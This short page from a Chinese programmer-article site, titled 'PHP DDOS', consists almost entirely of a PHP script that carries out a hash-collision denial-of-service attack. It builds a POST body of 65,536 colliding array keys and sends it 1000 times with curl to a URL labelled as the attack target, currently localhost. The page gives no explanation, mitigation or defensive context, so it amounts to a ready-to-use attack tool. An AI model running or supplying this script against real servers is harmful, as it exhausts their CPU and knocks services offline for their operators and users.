欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  php教程

PHP DDOS(高斯炮)

程序员文章站 2022-05-05 17:38:21
...
php代码
<?php
$size = pow(2, 16);
$data = "";
 
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $data .= $key."=0&";
}
 
$url = "http://localhost/gaoshi.php";// 攻击目标
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
 
for ($i = 0; $i < 1000; ++$i) {
    curl_exec($ch);
}
curl_close($ch);
?>
相关标签: PHP DDOS(高斯炮)